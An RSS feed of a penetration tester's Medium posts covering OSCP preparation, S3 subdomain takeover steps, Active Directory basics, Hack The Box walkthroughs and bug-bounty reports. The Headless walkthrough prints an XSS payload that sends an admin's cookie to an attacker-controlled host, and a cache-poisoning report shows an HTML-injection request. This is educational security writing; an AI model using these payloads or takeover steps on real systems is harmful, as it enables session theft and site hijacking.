<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Bikram kharal on Medium]]></title>
        <description><![CDATA[Stories by Bikram kharal on Medium]]></description>
        <link>https://medium.com/@themarkib?source=rss-53faf980d2a2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*p80KezVOz45NrPNFYcAOPQ.jpeg</url>
            <title>Stories by Bikram kharal on Medium</title>
            <link>https://medium.com/@themarkib?source=rss-53faf980d2a2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 08:15:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@themarkib/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My Journey to OSCP/OSCP+ exam]]></title>
            <link>https://infosecwriteups.com/my-journey-to-oscp-oscp-exam-8f1b046f0edd?source=rss-53faf980d2a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/8f1b046f0edd</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Bikram kharal]]></dc:creator>
            <pubDate>Mon, 15 Sep 2025 06:31:15 GMT</pubDate>
            <atom:updated>2025-09-19T06:01:00.214Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, I’m Bikram Kharal, a cybersecurity enthusiast and penetration tester with a strong interest in ethical hacking, network security, and offensive security. My journey into cybersecurity started with curiosity about how systems work and how they can be broken, which eventually grew into a passion for protecting them.</p><p>Over time, I’ve worked on sharpening my skills in penetration testing. I enjoy diving deep into real-world challenges, CTFs, and lab environments that push me to think outside the box.</p><p>I have recently given the Offensive Security Certified Professional (OSCP/OSCP+) certification exam from Offensive Security. The OSCP is renowned for its “Try Harder” philosophy, so I knew going into the process that it would not be simple, but I learned more than just about exploitation. It taught me how to think like a hacker, to continue learning under pressure, and to persevere through difficult times.</p><h3>Why I Choose the OSCP Certification</h3><p>Having already earned certifications like CRTP, eWPTXv2, and BSCP, which are practical, hands-on exams, I sought a credential that would further challenge my skills and align with real-world penetration testing.</p><p>The Offensive Security Certified Professional (OSCP) stood out as the ideal choice due to its rigorous, practical approach and strong industry reputation. Unlike certifications focused on theoretical knowledge or multiple-choice questions, the OSCP immerses you in a dynamic penetration testing environment. It requires you to actively exploit vulnerabilities, escalate privileges, and thoroughly document your findings mirroring the demands of real-world engagements.</p><p>This hands-on, challenging experience was exactly what I was looking for to advance my expertise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*xK7CeQAdW5z8MT0PUv4XIQ.png" /><figcaption>OSCP+</figcaption></figure><h3>My Journey of Preparation</h3><h3>PWK Labs &amp; Course</h3><p>I began by taking the Penetration Testing with Kali Linux (PWK) course offered by Offensive Security. I gained a solid foundation in information gathering, web exploitation, privilege escalation, attacking Active Directory, and report writing thanks to the materials.</p><p>I spent hours counting, testing, failing, and trying again until I got that sweet root shell. The labs were a treasure trove.</p><p>I highly recommend going through all the lab materials and working on as many machines as possible. Crush all the labs and challenges. You may skip the challenge labs that are outside of the scope of the exam.</p><h3>Practice Beyond Labs</h3><p>To push myself further, I practiced on platforms like HackTheBox, PG Grounds, TryHackMe, and VulnHub. This helped me adapt to different environments and reinforced techniques I learned in the labs.</p><p>I systematically worked through the OSCP-like machines listed in the <a href="https://docs.google.com/spreadsheets/d/18weuz_Eeynr6sXFQ87Cd5F0slOj9Z6rt/htmlview#">Lainkusanagi OSCP-Like Machines</a> list to simulate real exam scenarios.</p><p>To master privilege escalation, I studied techniques from <a href="https://academy.tcm-sec.com/courses">TCM Security’s courses</a>, which provided practical, in-depth insights.</p><p>For a deeper understanding of methodologies and approaches, I watched <a href="https://www.youtube.com/@ippsec">IppSec’s videos</a>, which offered valuable walkthroughs and explanations.</p><p>Additionally, I built and attacked OSCP-like Active Directory labs using <a href="https://www.youtube.com/playlist?list=PLT08J44ErMmb9qaEeTYl5diQW6jWVHCR2">Derron C’s playlist</a> to strengthen my skills in tackling complex AD environments.</p><h3>Taking Notes and Documenting</h3><p>I made it a habit to record every aspect of my preparation, including commands, screenshots, and methods for escalation of privileges. I was able to save valuable time during the exam by quickly consulting my notes thanks to this practice.</p><p>I used Notion for note taking, but you can also use tools like CherryTree, Obsidian, and even basic Markdown files.</p><h3>Mindset</h3><p>The OSCP certification is a significant mental challenge in addition to a test of technical proficiency. I had many frustrating nights trying to get a foothold, but I learned to keep my cool, go over the enumeration steps again, and keep trying different strategies.</p><p>The “Try Harder” philosophy became deeply embedded in my thinking, motivating me to overcome challenges and achieve success.</p><h3>Exam Day Experience</h3><p>The OSCP exam was an intense 24-hour challenge where effective time management was critical. I began by targeting machines I felt confident about, which allowed me to secure points early before moving on to the more difficult ones. Taking short breaks, eating properly, and resting briefly helped me maintain focus throughout the marathon.</p><p>The true test wasn’t solely about achieving root access but maintaining consistency under pressure. By the end of the exam, I had accumulated 80 points which were enough to pass, but the greatest sense of relief came after submitting the penetration test report. Crafting a professional, detailed report was just as crucial as compromising the machines themselves.</p><p>I started with the Active Directory network and was able to compromise the domain admin within 5 hours. This gave me confidence as I had already secured 40 points.</p><p>After that, I moved onto Linux machines, which were relatively easier. Having faced similar situations during preparation, I got a user and root shell within an hour.</p><p>With only 10 points needed to pass, I felt optimistic but faced challenges with the final two machines. After 4 hours of enumeration without gaining initial access, stress began to mount. I took a short break, refocused, and resumed enumeration. This persistence paid off when I secured a user shell. Determined to go further, I pursued privilege escalation and ultimately achieved a root shell.</p><p>Since I still had some time left, I reviewed all my notes and screenshots one more time before finally getting some rest.</p><h3>Lessons Learned</h3><ul><li><strong>Enumeration is Key</strong>: Increase your enumeration efforts to uncover hidden vulnerabilities and pathways when progress stalls.</li><li><strong>Keep Yourself Organized</strong>: Detailed notes and screenshots are very helpful for maintaining focus and speed during tests.</li><li><strong>Don’t Panic Under Pressure</strong>: Approach problems methodically by dividing them into small, achievable steps to ensure consistent progress.</li><li><strong>Balance Theory with Practice</strong>: Absorb theoretical concepts, gain a deep understanding, and immediately apply them through hands-on experimentation.</li></ul><p>Thank you all for reading till the end.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f1b046f0edd" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-journey-to-oscp-oscp-exam-8f1b046f0edd">My Journey to OSCP/OSCP+ exam</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subdomain takeover via AWS s3 bucket]]></title>
            <link>https://infosecwriteups.com/subdomain-takeover-via-aws-s3-bucket-9c54b1b71c46?source=rss-53faf980d2a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/9c54b1b71c46</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[subdomain-takeover]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Bikram kharal]]></dc:creator>
            <pubDate>Wed, 29 May 2024 03:42:05 GMT</pubDate>
            <atom:updated>2024-05-29T03:43:28.610Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys,</p><p>Today we are going to talk about the Subdomain takeover vulnerability which can be easily identified and exploited by attackers causing maximum impact to the organization.</p><p>Subdomain takeover is a common vulnerability that allows an attacker to gain control over a subdomain of a target domain and redirect users intended for an organization’s domain to a website that performs malicious activities, such as phishing campaigns, stealing user cookies, etc.</p><p>First of all enumerate all the subdomains using subfinder and run httpx to it.</p><pre>subfinder -dL domain.txt -all | httpx | tee livedomains.txt</pre><p>Now we need to go through a tool called <a href="https://github.com/PentestPad/subzy">Subzy</a>.It works based on matching response fingerprints from <a href="https://github.com/EdOverflow/can-i-take-over-xyz/blob/master/README.md">can-i-take-over-xyz</a>.</p><pre>subzy run --targets livedomains.txt</pre><p>If we find the domain vulnerable to AWS s3 bucket takeover. When visiting we get responses like NoSuchBucket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8fOG46hugDzW-ilVPaCpw.png" /></figure><p>I found that many people are unable to takeover the subdomain though it shown NoSuchBucket cause they don’t know the region of the AWS s3 bucket.</p><p>To find an AWS s3 bucket region, we can simply run a dig command on our machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*teRHytihmafyLSlP92zw2g.png" /><figcaption>dig command</figcaption></figure><p>After running dig the command, we can see a few numbers of IPs in the ANSWER SECTION.</p><p>Now we need to send a curl request to ipinfo.io to know the AWS s3 bucket region.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*Am7B_Z_i_-AAX0AbU_V7hg.png" /></figure><p>Here we got to know that AWS region is eu-west-1. Hence we can create the above bucket in eu-west-1 region and the bucket will be created successfully.</p><p>Note: During my research i found that if there is IP of cloudfront we can&#39;t determine the aws s3 region as the IP belongs to cloudfront.</p><p>To create a AWS bucket you can follow the below steps:</p><ol><li>Go to the s3 section on AWS and change the region where you want to create the bucket.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*nGu5VL5HL3lqY1dDfLgC_A.png" /></figure><p>2. Now click on the Create Bucket button on the right side.</p><p>3. Add the bucket name and turn on public access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*ArZYzdkuVnmcRuAJQpx3zA.png" /></figure><p>4. Now clicking on the create bucket will be succeeded. And the website will start showing below response/error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*wx024AQIl8xRDxQntcmuVw.png" /></figure><p>5. To host our own content or make redirection we need to go to the Properties of the bucket and enable Static Web Hosting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*0Yd7VLcokZ_Z4h36IeOFKQ.png" /></figure><p>Successfully we have taken over the AWS s3 bucket.</p><p>Thank you all for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9c54b1b71c46" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/subdomain-takeover-via-aws-s3-bucket-9c54b1b71c46">Subdomain takeover via AWS s3 bucket</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Basics]]></title>
            <link>https://themarkib.medium.com/active-directory-basics-a0c48ce57b5a?source=rss-53faf980d2a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/a0c48ce57b5a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[network]]></category>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Bikram kharal]]></dc:creator>
            <pubDate>Wed, 17 Apr 2024 00:43:40 GMT</pubDate>
            <atom:updated>2024-04-17T00:43:40.469Z</atom:updated>
            <content:encoded><![CDATA[<p>Active Directory is a system that allows to manage a set of computers and users connected in the same network from a central server.</p><p>It was first introduced on Windows 2000.</p><h3>Components of AD:</h3><h4>Domain Services:</h4><p>Domain services are the core components of AD,responsible for managing authentication and authorization of users and computers in a network.This includes Domain Controllers,Domains and Trusts.</p><h4>Domain Controller:</h4><p>It is a server that runs Active Directory Domain Services(ADDS) role.</p><p>It stores user account information manage authentication and authorization requests, and replicates changes to other domain controllers in the same domain.</p><h4>Domains:</h4><p>Domains are logical groups managed by an administrative team and typically located on the same physical network. They include users, computers, OUs etc.</p><p>A domain can have multiple domain controllers to provide redundancy and fault tolerance.</p><h4>Tree:</h4><p>A tree is a collection of domains in a Active Directory Domain Services(AD DS)</p><p>A top domain in the domain tree is know as parent domain and all other domains are know as child domain.They have parent child relationship.</p><p>An AD DS tree consists of multiple domains connected by two-way transitive trusts by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*218bwLhnGUztBqc2N1PWvw.png" /></figure><h4>Forests:</h4><p>A forest is a collection of one or more domain trees.</p><p>The name of the forest is the same as the name of the root domain of the tree.</p><p>In a forest, each domain has its own database and its own Domain Controllers. However, users of a domain in the forest can also access to the other domains of the forest.</p><h4>Organizational Unit(OUs):</h4><p>Organizational Unit is a logical component of Active Directory that contains users,groups,computers and other OUs.</p><p>OUs are used to manage a collection of objects in a consisten way and delegate permissions to administer group of objects.</p><h4>Trusts:</h4><p>The users can access to other domains in the same forests because they are linked by connections called <strong>Trusts</strong>.</p><p>A trust can be Transitive or Non Transitive.</p><p>A non transitive trust can only be used by the two sides of the trust, the trusting and the trusted. Whereas a transitive trust can act as a bridge and being used for third domains connected with the domains that are connected by the transitive trust.</p><p>Thank you all for reading. Happy Learning :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a0c48ce57b5a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Headless | Hack The Box Walk through]]></title>
            <link>https://themarkib.medium.com/headless-hack-the-box-walk-through-4fabc3f7a378?source=rss-53faf980d2a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/4fabc3f7a378</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[headless]]></category>
            <dc:creator><![CDATA[Bikram kharal]]></dc:creator>
            <pubDate>Wed, 03 Apr 2024 02:42:39 GMT</pubDate>
            <atom:updated>2024-04-03T02:42:39.700Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Guys,</p><p>It’s me Bikram Kharal back in medium to write about the Seasonal machine of the Hack The Box.</p><p><strong>Initial Enumeration</strong></p><p>First of all i did a simple nmap scan to enumerate all the ports in the box.</p><p>nmap -sC -sV Machine_IP -T4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MJt4tOeHyJ8cjDkQfIMHVw.png" /></figure><p>I found that open ports are 22 and 5000.</p><p>I saw that port 5000 is running a web service.Visiting that location we got a interface like below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FU5nflGiSZrCvBcjkvQMhw.png" /></figure><p>Clicking on For questions button we got a interface to contact support.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dm3g5T30TT7x6BEbVkvMjA.png" /></figure><p>By seeing this page i started adding random values and intercepted the proxy with burpsuite.</p><p>When i added a simple XSS payload in message section we got prompted with ‘Hacking Attempt Detected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HXtpWv91oz0Zz7BkQI2pzA.png" /></figure><p>I suspected that this web service was vulnerable to XSS vulnerability.But no any value send via contact support are getting reflected.</p><p>After researching for few minutes , I tried injecting XSS payload in the User-Agent Section and surprisingly it got fired.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWoZjJX2cQ1m8RJkB1S5uQ.png" /></figure><p>Now we need to find and construct a XSS payload to steal the cookies of an admin.</p><p>After adding below payload on the User-Agent and i started my python server as shown below.</p><pre>&lt;img src=x onerror=document.location=&quot;http://10.10.14.57:8000/?c=&quot;+document.cookie&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UyEkcG0LgNhz5IEpAz26tg.png" /></figure><p>And finally we got admin cookie.</p><p>Using admin cookie i again tried to bruteforce the directory if we could get useful path using ffuf.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcZ_Rt2LQDqTxwRqBkNyKw.png" /></figure><p>Yes, We got /dashboard path using the admin cookie.</p><p>I tried to access the dashboard and interface was like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MzOTGQFGqV97R9QI03GMnw.png" /></figure><p>I clicked on Generate Report button and intercepted the request with burp proxy.</p><p>I initially I tried to inject command injection payload and we got the response immediately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gu0A6_MSa2TzO-fa95QK8A.png" /></figure><p>Now it’s time to get reverse shell :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MM-iuwMBNg9toggqum0RRQ.png" /></figure><p>Going 1 directory back we got a user.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*unCHnlw2UqL8QY8Ha7e8TA.png" /></figure><p><strong>Post Exploitation</strong></p><p>I tried basic Linux privilege escalation techniques.Using sudo -l we found that `usr/bin/syscheck` without sudo password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*QHAWXRiyENKXMoMWPeuvlw.png" /></figure><p>Reading the code of syscheck file i found that it is running `initdb.sh` file with sudo privilege.</p><p>I instantly created a new file called initdb.sh with reverse shell payload and i runned that /usr/bin/syscheck file and we got our shell with sudo privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*iBy4UvztV26_vDDlJ87-wA.png" /></figure><p>Thank you all for reading.</p><p>Till then Happy Hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4fabc3f7a378" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bizness Walkthrough — Hackthebox]]></title>
            <link>https://themarkib.medium.com/bizness-walkthrough-hackthebox-4be1c40587f1?source=rss-53faf980d2a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/4be1c40587f1</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[biznes]]></category>
            <category><![CDATA[hackthebox]]></category>
            <dc:creator><![CDATA[Bikram kharal]]></dc:creator>
            <pubDate>Tue, 23 Jan 2024 15:50:08 GMT</pubDate>
            <atom:updated>2024-01-23T15:50:27.111Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bizness User Walkthrough — Hackthebox</h3><p>Hello everyone,It’s me Bikram Kharal here to write a about a easy hackthebox machine called as Bizness.Lets’ start :</p><p><strong>Initial Enumeration</strong></p><p>First of all i did a simple nmap scan to enumerate all the ports in the box.Here few ports like 22,80,443 seems interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LP8zRGiBYRsV4bFgu9fnzQ.png" /></figure><p>I added <a href="https://bizness.htb/">https://bizness.htb/</a> to <em>/etc/hosts</em> in my linux machine.</p><p><strong>Enumerating Bizness Website</strong></p><p>Visiting the website we found it as a static site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZAnefeeh-xEAn-v3NWjlLQ.png" /></figure><p>After directory bruteforcing we got a path called control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q4bEltjK6OHWozNEdDmZPg.png" /></figure><p>Visiting a /control path showed nothing.I again did recursive fuzzing with control path and got a few paths like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PAKDW7vsx7mbGBStjW7ejg.png" /></figure><p>I tried to visit /control/login and following login page appeared.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v3sbbW-1zukkgnCTvYsn6w.png" /></figure><p>After researching I found that the page was of Apache Offbiz framework.I tried searching for vulnerabilities of Apache Offbiz framework and got the recent CVE-2023–51467. After few time i found a exploit in the github.</p><p><a href="https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass">GitHub - jakabakos/Apache-OFBiz-Authentication-Bypass: This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 preauth RCE vulnerabilities found in Apache OFBiz.</a></p><p>I tried a netcat command to get a user shell with the above exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*AzOqEyzhHOBxXyhXTuoBeA.png" /></figure><p>And we got our shell in the nc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*EK2oUNY7wPv5nfTOdXNypg.png" /></figure><p>Going to /home/ofbiz we got user.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*UxMyL5NiXmNoOEUqF_9HUg.png" /></figure><p>This much for today. I will update the Privilege Escalation to root in few days.</p><p>Thank you everyone for reading this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4be1c40587f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My first Web Cache Poisoning bug]]></title>
            <link>https://infosecwriteups.com/my-first-web-cache-poisoning-bug-af955c8d135b?source=rss-53faf980d2a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/af955c8d135b</guid>
            <category><![CDATA[web-cache-poisoning]]></category>
            <dc:creator><![CDATA[Bikram kharal]]></dc:creator>
            <pubDate>Tue, 16 Jan 2024 17:18:16 GMT</pubDate>
            <atom:updated>2024-02-25T06:48:44.044Z</atom:updated>
            <content:encoded><![CDATA[<p>Web cache poisoning is an advanced technique where by an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.</p><h3>How does a web cache work?</h3><p>To understand how web cache poisoning vulnerabilities arise, it is important to have a basic understanding of how web caches work.</p><p>If a server had to send a new response to every single HTTP request separately, this would likely overload the server, resulting in latency issues and a poor user experience, especially during busy periods. Caching is primarily a means of reducing such issues.</p><p>The cache sits between the server and the user, where it saves (caches) the responses to particular requests, usually for a fixed amount of time. If another user then sends an equivalent request, the cache simply serves a copy of the cached response directly to the user, without any interaction from the back-end. This greatly eases the load on the server by reducing the number of duplicate requests it has to handle.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qPseW70T0yM_F5N-hnJMKQ.png" /></figure><p>Now let’s get back the bug.</p><p>As a normal day i was going through the accquistions of the Sony. I found a static domain and I tried to intercept the request in the burp suite.I tried to explore the whole site but there was nothing new.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L50NTybLBiwWs9qav2Fz0A.png" /></figure><p>During my BSCP preparation i have checkout the Web Cache Poisoning labs from the portswigger. So i thought of checking web cache poisoning issue on this site.</p><p>I already had param miner extension installed on the burpsuite. So i tried to Guess everything using Param Miner extension.After the scanning a burp found the unkeyed header in the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*E_0xdlO4amycw_L694Pk5g.png" /></figure><p>Now i tried adding the `X-Forwarded-Host: example.com` , host header in the first request and checked the response.The response was like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qqybrUnf6piLvBezkAPPqw.png" /></figure><p>The original host domain was overwritten by the X-Forwarded-Host .</p><p>I tried opening the url in the private browser.The example.com was still showing in the response. I was so happy for a moment.</p><p>Trying to eslcate it to Stored XSS but i failed as there was AkamaiGhost WAF.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ni90HEDSLnmvNDAubODkpw.png" /></figure><p>But i was successful to get HTML injection through this Web Cache Poisoning attack.</p><p>I sent the below request:</p><pre>GET /blog?abcde=234 HTTP/2<br>Host: www.test.com<br>User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36<br>X-Forwarded-Host: test.com&quot;&gt;&lt;h1&gt;themarkib0x0<br>Accept-Encoding: gzip, deflate, br<br>Content-Length: 2</pre><p>I have got response like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aTC8w_FeyMlQgx9DgBshTQ.png" /></figure><p>I couldn’t escalate more so i reported it to the Sony team in hackerone. After one day it was triaged as high.</p><p>Thank you everyone for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af955c8d135b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/my-first-web-cache-poisoning-bug-af955c8d135b">My first Web Cache Poisoning bug</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[You will never be able to register or login at redacted.com]]></title>
            <link>https://infosecwriteups.com/you-will-never-be-able-to-register-or-login-at-redacted-com-a775831c3bc4?source=rss-53faf980d2a2------2</link>
            <guid isPermaLink="false">https://medium.com/p/a775831c3bc4</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Bikram kharal]]></dc:creator>
            <pubDate>Sat, 24 Jul 2021 04:34:17 GMT</pubDate>
            <atom:updated>2025-02-14T02:51:30.359Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, It’s me Bikram Kharal from Nepal.I am infosec learner and engineering student.</p><p>Today I will be writing about the bug that i recently founded on Vulnearbility Discolure Program so in this blog i will be naming it as <em>redacted.com</em>. I was scrolling the twitter while my online class were running and someone was suggesting to hunt on that <em>redacted</em> site. So me to my studies</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgfycat.com%2Fifr%2Fickydizzyfish&amp;display_name=Gfycat&amp;url=https%3A%2F%2Fgfycat.com%2Fickydizzyfish-bye-looks-with-jimmy-fallon-justin-timberlake-will-ferrell&amp;image=https%3A%2F%2Fthumbs.gfycat.com%2FIckyDizzyFish-size_restricted.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=gfycat" width="962" height="584" frameborder="0" scrolling="no"><a href="https://medium.com/media/33600e4b5a6692eec0ea6791e715b011/href">https://medium.com/media/33600e4b5a6692eec0ea6791e715b011/href</a></iframe><p>Now i started testing on that site.</p><p>As normal I registered on that site and start understanding how the website was working.After registration it was asking me to verify the email using the 6 digit code.So i tried to bruteforce the endpoint but there was rate limiting.</p><p>After one hour testing i realized that it was IP based rate limiting then i bypassed that using IP rotate extension in burpsuite.Then quickly reported that bug.lol</p><p>After one day i got reply from them that it was <strong>Duplicate</strong>. :(</p><p>I was still searching for other bug on the same program.Again i register at the site with my email and this time i didn’t verified my email.So I was not able to login without verifying an email and in the login flow we need username to login .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*3T7FhKnCA2rjXUVqheCN0A.png" /></figure><p>Now i started thinking that what will happen if I forget my username?I will not be able to login right?Again i tried to register with the same email i got mail saying that Duplicate Registration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*cZUp5pwtrgai9Re8r1_4RQ.png" /></figure><p>Now i moved to Help section and saw the option to Recover the username.After clicking on Recover my username option it was asking for email to recover my username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*vsH4yhzoSZEgSGjgCGIZtg.png" /></figure><p>I entered my email and clicked on Recover username.Then it said that Username email sent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*zvNGRts_ZCTvNqUXuUvcTw.png" /></figure><p>So i quickly checked my email but i didn’t received any mail. I was refreshing for more than 7–8 times lol.Again i tried to recover my username and still didn’t get any mail.I was like</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgfycat.com%2Fifr%2Fquarterlyunconsciousindianrhinoceros&amp;display_name=Gfycat&amp;url=https%3A%2F%2Fgfycat.com%2Fquarterlyunconsciousindianrhinoceros-are-you-serious-you-are-crazy-leisha-hailey&amp;image=https%3A%2F%2Fthumbs.gfycat.com%2FQuarterlyUnconsciousIndianrhinoceros-size_restricted.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=gfycat" width="960" height="720" frameborder="0" scrolling="no"><a href="https://medium.com/media/263e30e6085be6fc8077cd72cc2cbd67/href">https://medium.com/media/263e30e6085be6fc8077cd72cc2cbd67/href</a></iframe><p>There was also option to reset the password but we need username and email to rest the password. In this case we don’t know the username :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*L7GHdRrBYEXQtcOxZLGuOg.png" /></figure><p>After almost 10 hours i clicked on the verification email that was sent to my email during registration process that was also expired.Now there was no any functionality to send further verification code which means i will be never be able to to login or register at <em>redacted.com </em>with that email.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgfycat.com%2Fifr%2Fclumsyfloweryamericancrayfish&amp;display_name=Gfycat&amp;url=https%3A%2F%2Fgfycat.com%2Fclumsyfloweryamericancrayfish-happy-pcmasterrace-smile-joy&amp;image=https%3A%2F%2Fthumbs.gfycat.com%2FClumsyFloweryAmericancrayfish-size_restricted.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=gfycat" width="802" height="334" frameborder="0" scrolling="no"><a href="https://medium.com/media/c71a1109a78882ef9b1801bb5da04d1c/href">https://medium.com/media/c71a1109a78882ef9b1801bb5da04d1c/href</a></iframe><p>Then i quicly made a messy report like this medium article but i after one day i got reply saying that it was <strong>Duplicate. </strong>That’s how my life is going Lmao :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RdTpoAajou-eBL8krqGHGQ.png" /></figure><p>This is my first medium article and there may be mistake so you guys can give me suggestion on impoving it.Hope you, enjoy reading this article.For any query you can comment below.</p><p>Find me on:</p><p><a href="https://x.com/themarkib">Twitter</a> : <a 